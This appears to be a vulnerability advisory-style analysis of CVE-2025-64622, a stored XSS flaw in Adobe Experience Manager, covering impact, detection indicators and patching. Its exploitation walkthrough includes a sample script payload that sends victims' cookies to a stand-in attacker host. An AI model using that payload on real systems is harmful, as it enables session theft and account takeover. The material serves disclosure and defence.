CVE-2025-64622: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64622 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (prior to 6.5.24.0) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, with NVD publication on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in the victim's browser when they navigate to the page containing the compromised field. Exploitation requires user interaction (a victim browsing the affected page) and network access, but has low attack complexity. The scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or further phishing attacks. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. Because AEM is commonly used as an enterprise content management platform, exploitation could affect a broad user base including administrators (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running versions 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using version fingerprinting or public-facing AEM login pages.
2. Authenticate: Obtain low-privileged credentials to the AEM instance (e.g., via phishing, credential stuffing, or a legitimate low-privilege account).
3. Locate vulnerable form fields: Navigate to AEM content authoring or form components that accept user-supplied input and store it for later rendering.
4. Inject XSS payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save the content.
5. Trigger execution: Wait for or socially engineer a victim (e.g., an administrator or higher-privileged user) to browse to the page containing the injected payload, causing the malicious script to execute in their browser context.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=) in form field parameters.
• Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; unusual data exfiltration patterns (e.g., cookie values in query strings to unknown hosts).
• File System / Content Repository: Presence of JavaScript payloads stored within AEM JCR (Java Content Repository) nodes, discoverable via CRXDE Lite or repository queries for script-containing content.
• Browser: Unexpected redirects or pop-ups when authenticated users visit specific AEM pages; browser developer tools showing script execution originating from stored AEM content.

Adobe has released patches addressing this vulnerability: AEM on-premise users should upgrade to version 6.5.24.0 or later, and AEM Cloud Service users should ensure their environment is updated to release 2025.12.0 or later. No specific configuration-based workaround has been publicly documented; upgrading to the patched version is the recommended remediation. Organizations should also review stored content in AEM for any existing injected scripts and audit low-privileged user accounts for suspicious activity (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products that could allow arbitrary code execution, grouping CVE-2025-64622 among the December 2025 Adobe patch batch (CIS Advisory). Tenable added detection support via Nessus plugin 278346 shortly after disclosure. No significant independent researcher commentary or social media discussion specific to this CVE has been identified beyond standard vulnerability aggregator postings.